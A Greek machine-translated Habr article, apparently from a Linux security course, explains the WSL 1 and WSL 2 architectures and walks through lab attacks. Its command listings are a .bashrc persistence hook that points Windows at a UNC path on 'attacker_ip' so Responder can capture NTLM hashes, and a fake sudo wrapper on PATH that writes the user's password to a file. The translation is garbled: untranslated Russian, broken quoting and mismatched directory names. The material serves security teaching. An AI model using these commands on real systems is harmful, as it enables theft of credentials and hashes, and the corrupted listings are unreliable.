Πειράματα WSL. Μέρος 1

Γεια σου, Χαμπρ! Το OTUS εγκαινιάζει μια νέα ροή μαθημάτων τον Οκτώβριο "Linux Security". Εν αναμονή της έναρξης του μαθήματος, μοιραζόμαστε μαζί σας ένα άρθρο γραμμένο από έναν από τους δασκάλους μας, τον Alexander Kolesnikov.

Πειράματα WSL. Μέρος 1

Το 2016, η Microsoft παρουσίασε τη νέα τεχνολογία WSL στην κοινότητα πληροφορικής (Wμέσα Sυποσύστημα για Linux), το οποίο στο μέλλον κατέστησε δυνατή την ένωση προηγουμένως ασυμβίβαστων ανταγωνιστών που αγωνίζονταν για δημοτικότητα τόσο μεταξύ των απλών όσο και των προηγμένων χρηστών λειτουργικού συστήματος: Windows και Linux. Αυτή η τεχνολογία κατέστησε δυνατή τη χρήση εργαλείων Linux OS σε περιβάλλον Windows χωρίς την ανάγκη εκτέλεσης Linux, για παράδειγμα, χρησιμοποιώντας Multi-boot. Στο Habr μπορείτε να βρείτε έναν μεγάλο αριθμό άρθρων που περιγράφουν τα οφέλη από τη χρήση του WSL. Ωστόσο, δυστυχώς, τη στιγμή της δημιουργίας αυτού του άρθρου, δεν βρέθηκαν μελέτες σχετικά με την ασφάλεια μιας τέτοιας συμβίωσης λειτουργικών συστημάτων σε αυτόν τον πόρο. Αυτή η ανάρτηση θα είναι μια προσπάθεια διόρθωσης αυτού. Το άρθρο θα μιλήσει για τα χαρακτηριστικά των αρχιτεκτονικών WSL 1 και 2 και θα εξετάσει αρκετά παραδείγματα επιθέσεων σε συστήματα που χρησιμοποιούν αυτές τις τεχνολογίες. Το άρθρο χωρίζεται σε 2 μέρη. Το πρώτο θα παρέχει τις κύριες θεωρητικές μεθόδους επίθεσης από Linux και Windows. Το δεύτερο άρθρο θα περιλαμβάνει τη δημιουργία ενός δοκιμαστικού περιβάλλοντος και την αναπαραγωγή των επιθέσεων.

WSL 1: αρχιτεκτονικά χαρακτηριστικά

Για την πιο ακριβή κατάδυση σε θέματα ασφάλειας WSL, είναι απαραίτητο να προσδιοριστούν οι κύριες αποχρώσεις που σχετίζονται με την υλοποίηση του υποσυστήματος. Μία από τις κύριες εργασίες χρήστη που επιλύονται από το WSL είναι η δυνατότητα εργασίας μέσω ενός τερματικού Linux σε έναν κεντρικό υπολογιστή με λειτουργικό σύστημα Windows. Επίσης, η προσφερόμενη συμβατότητα ήταν τόσο εγγενής που τα εκτελέσιμα Linux (ELF) μπορούσαν να εκτελεστούν απευθείας σε ένα σύστημα Windows. Για την επίτευξη αυτών των στόχων, δημιουργήθηκε ένα ειδικό υποσύστημα στα Windows 10 που σας επιτρέπει να εκτελείτε εφαρμογές Linux χρησιμοποιώντας ένα σύνολο συγκεκριμένων κλήσεων συστήματος - έτσι, έγινε προσπάθεια να αντιστοιχιστεί ένα σύνολο syscalls Linux στα Windows. Αυτό υλοποιήθηκε φυσικά με την προσθήκη νέων προγραμμάτων οδήγησης και μιας νέας μορφής διεργασίας. Οπτικά η αρχιτεκτονική έμοιαζε ως εξής:

Πειράματα WSL. Μέρος 1

Μάλιστα, η αλληλεπίδραση με το λειτουργικό σύστημα Linux οργανώθηκε μέσω αρκετών μονάδων πυρήνα και ενός ειδικού τύπου διεργασίας - το pico. Από το παραπάνω διάγραμμα, μπορείτε να δείτε ότι η διαδικασία που εκτελείται στην παρουσία Linux στον κεντρικό υπολογιστή πρέπει να είναι εγγενής και πρέπει να χρησιμοποιεί τους ίδιους πόρους με τις κανονικές εφαρμογές των Windows. Πώς όμως να επιτευχθεί αυτό; Σε έργο Κινητή γέφυρα Αναπτύχθηκαν έννοιες διεργασιών για Windows που παρείχαν όλα τα απαραίτητα στοιχεία του λειτουργικού συστήματος (ανάλογα με την έκδοσή του) για την εκτέλεση μιας εφαρμογής άλλου λειτουργικού συστήματος.

Σημειώστε ότι η προτεινόμενη αφαίρεση κατέστησε δυνατή τη μη εστίαση στο λειτουργικό σύστημα (ιδίως τα Windows), στο οποίο αναμένεται να ξεκινήσει η διαδικασία ενός άλλου λειτουργικού συστήματος και πρότεινε μια γενική προσέγγιση.

Έτσι, οποιαδήποτε εφαρμογή εντός της διαδικασίας pico θα μπορούσε να εκτελεστεί χωρίς να λαμβάνεται υπόψη ο πυρήνας των Windows:

  1. Τα προβλήματα συμβατότητας και μετάφρασης των κλήσεων συστήματος πρέπει να επιλύονται από ειδικούς παρόχους.
  2. Ο έλεγχος πρόσβασης πρέπει να γίνεται μέσω του Security Monitor. Η οθόνη βρίσκεται στον πυρήνα και επομένως τα Windows χρειάζονταν μια αναβάθμιση με τη μορφή ενός νέου προγράμματος οδήγησης που θα μπορούσε να λειτουργήσει ως πάροχος για τέτοιες διεργασίες. Η πρωτότυπη διαδικασία pico παρουσιάζεται σχηματικά παρακάτω:

Πειράματα WSL. Μέρος 1

Δεδομένου ότι το σύστημα αρχείων Linux χρησιμοποιεί ονόματα αρχείων και καταλόγων με διάκριση πεζών-κεφαλαίων, προστέθηκαν 2 τύποι συστημάτων αρχείων στα Windows για να λειτουργούν με WSL - VolFS και DriveFS. Το VolFS είναι μια υλοποίηση του συστήματος αρχείων Linux, το DriveFS είναι ένα σύστημα αρχείων που λειτουργεί σύμφωνα με τους κανόνες των Windows, αλλά έχει τη δυνατότητα επιλογής ευαισθησίας πεζών-κεφαλαίων.

WSL 2

Το WSL 1 είχε ορισμένους περιορισμούς που δεν του επέτρεπαν να χρησιμοποιηθεί για την επίλυση του μέγιστου εύρους εργασιών: για παράδειγμα, δεν είχε τη δυνατότητα εκτέλεσης εφαρμογών Linux 32-bit και ήταν αδύνατο να χρησιμοποιηθούν προγράμματα οδήγησης συσκευών. Επομένως, το 2020 κυκλοφόρησε το WSL 2, το οποίο άλλαξε την προσέγγιση για την κατασκευή του υποσυστήματος. Το WSL 2 είναι μια βελτιστοποιημένη εικονική μηχανή που ταιριάζει με τα χαρακτηριστικά κατανάλωσης πόρων του WSL 1. Τώρα, ανάλογα με τα προβλήματα που επιλύει ο χρήστης του λειτουργικού συστήματος Windows, μπορείτε να επιλέξετε την απαιτούμενη έκδοση του υποσυστήματος Linux. Για τον μετριασμό πιθανών τρωτών σημείων, το WSL 2 υλοποιήθηκε με βάση το Hyper-V στα Windows 10. Σε αυτή τη μορφή, τα Windows έχουν τη δυνατότητα να εκτελούν τον πυρήνα του λειτουργικού συστήματος Linux μεμονωμένα. Αξίζει να θυμηθούμε ότι η έκδοση 1 του WSL εισήχθη ως μια δυνατότητα beta που υποτίθεται ότι έδειχνε την κατεύθυνση της ανάπτυξης των Windows σε αυτόν τον τομέα, επομένως η μετάβαση στο Hyper-V ήταν αναπόφευκτη. Η τελική αρχιτεκτονική μοιάζει με αυτό:

Πειράματα WSL. Μέρος 1

Σε αυτήν την έκδοση, οι πυρήνες των Windows και Linux έχουν τους δικούς τους πόρους και η τομή υπάρχει μόνο στο σύστημα αρχείων, αλλά αυτή η τομή δεν έχει ολοκληρωθεί. Η αλληλεπίδραση μεταξύ συστημάτων αρχείων πραγματοποιείται μέσω ενός περιτυλίγματος πελάτη-διακομιστή που λειτουργεί χρησιμοποιώντας το πρωτόκολλο 9P.

Σήμερα η Microsoft παρέχει τη δυνατότητα εναλλαγής μεταξύ WSL 1 και WSL 2. Και οι δύο εκδόσεις είναι διαθέσιμες για χρήση.

WSL Security

Αυτή τη στιγμή, υπάρχουν αρκετές εργασίες που περιγράφουν ορισμένες προσεγγίσεις για τη χρήση νόμιμων εργαλείων λειτουργικού συστήματος για την επίθεση στην επικοινωνία μεταξύ των υποσυστημάτων. Θα χρησιμοποιήσουμε τα σενάρια τους για να ελέγξουμε τη συνάφεια των επιθέσεων τη στιγμή της σύνταξης. Γενική λίστα επιθέσεων και σεναρίων:

1. Υλοποίηση συστήματος αρχείων: δικαιώματα πρόσβασης, διαθεσιμότητα κοινόχρηστων καταλόγων/μηχανισμών ανταλλαγής δεδομένων.

Διεξήχθη έρευνα για τον προσδιορισμό παραβιάσεων των κανόνων πρόσβασης από Linux FS->Windows FS, Windows FS->Linux FS. Η έρευνα έχει αποδείξει την ικανότητα τροποποίησης ενός δεδομένου αρχείου εντός του λειτουργικού συστήματος προορισμού. Έγιναν επίσης προσπάθειες αντικατάστασης, δημιουργίας διπλότυπων και διαγραφής μέρους των συστημάτων αρχείων.

Σενάριο:

  • Α. Επίθεση από το λειτουργικό σύστημα Windows - τροποποίηση αρχείων από τον κατάλογο /etc του Linux OS.
  • Β. Επίθεση από το λειτουργικό σύστημα Linux - τροποποίηση αρχείων σε καταλόγους: C:Windows, C:Program Files, C:Users<User>

2. Υλοποίηση της στοίβας δικτύου.

Η έρευνα πραγματοποιήθηκε χρησιμοποιώντας παραδείγματα επιθέσεων από το λειτουργικό σύστημα Linux στα Windows. Χρησιμοποιήθηκαν τα χαρακτηριστικά της στοίβας δικτύου, δηλαδή μηχανισμοί ελέγχου ταυτότητας σε διάφορους πόρους.

Σενάριο:

  • Άνοιγμα πρόσβασης σε μια θύρα που είναι κατειλημμένη σε ένα σύστημα Windows
  • Άνοιγμα θύρας χωρίς τα κατάλληλα δικαιώματα
  • Εκτέλεση αντίστροφου κελύφους χρησιμοποιώντας αρχείο elf στο λειτουργικό σύστημα Windows.

3. Απόκρυψη της εκκίνησης διαδικασιών κακόβουλου λογισμικού χρησιμοποιώντας το υποσύστημα WSL.

Η έρευνα βασίστηκε σε ένα απλό γεγονός - τα υποσυστήματα ασφαλείας δεν μπορούν να υποκλέψουν συμβάντα σε άλλο πυρήνα που λειτουργεί χρησιμοποιώντας έναν νόμιμο πάροχο από το λειτουργικό σύστημα στην περίπτωση του WSL 1. Στην περίπτωση του WSL 2, δεν υπάρχει τρόπος προβολής συμβάντων που συμβαίνουν σε έναν ξεχωριστό πυρήνα μέσα σε μια ελαφριά εικονική μηχανή.

Σενάριο:

1) Εκκινήστε την εφαρμογή για απομακρυσμένη πρόσβαση στο σύστημα και προβάλετε τα καταγεγραμμένα συμβάντα.

Πειράματα WSL 1: υποκλοπή κατακερματισμού (Windows)

Τελικά φτάσαμε στο πρακτικό κομμάτι. Πρώτα, πρέπει να ρυθμίσετε το περιβάλλον δοκιμής. Όλα τα πειράματα θα πραγματοποιηθούν σε πάγκο με εγκατεστημένα τα Windows 10 2004. Η εικόνα του Ubuntu 18.04 επιλέχθηκε ως εικόνα λειτουργικού συστήματος για το WSL. Η εικόνα επιλέχθηκε τυχαία και οποιαδήποτε άλλη θα λειτουργήσει το ίδιο. Εντολές για τη ρύθμιση μιας βάσης:

Πρέπει πρώτα να εκκινήσετε powershell.exe ως διαχειριστής.

Για το WSL 1 πρέπει να εκτελέσετε τις εντολές:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Μετά την επανεκκίνηση της βάσης, μπορείτε να καλέσετε την εντολή bash. Εάν όλα λειτουργούσαν σωστά, θα δείτε έξοδο παρόμοια με αυτήν στην κονσόλα των Windows:

    Πειράματα WSL. Μέρος 1

    Θα χρησιμοποιήσουμε τη διανομή Kali Linux ως μηχάνημα του εισβολέα· όλα τα μηχανήματα πρέπει να βρίσκονται στο ίδιο τοπικό δίκτυο.

    Ας υποθέσουμε ότι έχουμε μη προνομιακή πρόσβαση στο WSL σε έναν υπολογιστή με Windows. Ας προσπαθήσουμε να επιτεθούμε στο λειτουργικό σύστημα Linux καλώντας μια εντολή από το Linux. Για να υλοποιήσουμε την επίθεση, θα χρησιμοποιήσουμε μια απλή τεχνική αυτόματης εκτέλεσης - θα προσθέσουμε το σενάριό μας για εκτέλεση στο περιβάλλον Linux. Για να γίνει αυτό πρέπει να αλλάξετε το αρχείο .bashrc.

    Σε ένα μηχάνημα με WSL εκτελούμε:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Σε μια μηχανή Kali Linux τρέχουμε:

    1. Responder -I eth0 -rdvw

    Σε έναν υπολογιστή με Windows, ας ξεκινήσουμε το bash.

    Περιμένουμε το αποτέλεσμα στο μηχάνημα Kali Linux:

    Πειράματα WSL. Μέρος 1

    Έτσι, αποκτήσαμε τους κατακερματισμούς χρήστη των Windows μέσω του υποσυστήματος WSL εκτελώντας την εντολή στο σύστημα Linux.

    Πειράματα WSL 1: λήψη κωδικού πρόσβασης χρήστη (Linux OS)

    Ας κάνουμε ένα ακόμη πείραμα. Κατά τη διάρκεια αυτού του ελέγχου θα προσθέσουμε στο αρχείο .bashrc πολλές εντολές για να αποκτήσετε τον κωδικό πρόσβασης χρήστη του λειτουργικού συστήματος Linux.

    Ας ξεκινήσουμε το bash και εισάγουμε τις εντολές:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Για να ολοκληρωθεί με επιτυχία η επίθεση, ο χρήστης Sam πρέπει να καλέσει το sudo στο τερματικό Linux. Μετά από αυτό, ο κωδικός πρόσβασης χρήστη Linux OS θα βρίσκεται στο αρχείο pass.txt:

    Πειράματα WSL. Μέρος 1

    Η υλοποίηση των επιθέσεων δόθηκε μόνο για θεωρητική πληροφόρηση.

    Το επόμενο μέρος του άρθρου θα περιγράψει την υλοποίηση του πρωτοκόλλου 9P, θα εξετάσει τη δημιουργία ενός σαρωτή για αυτό το πρωτόκολλο και θα πραγματοποιήσει επίσης μια επίθεση χρησιμοποιώντας το.

    Κατάλογος χρησιμοποιημένης βιβλιογραφίας

    Πειράματα WSL. Μέρος 1

    Διαβάστε περισσότερα

    Πηγή: www.habr.com

    Προσθέστε ένα σχόλιο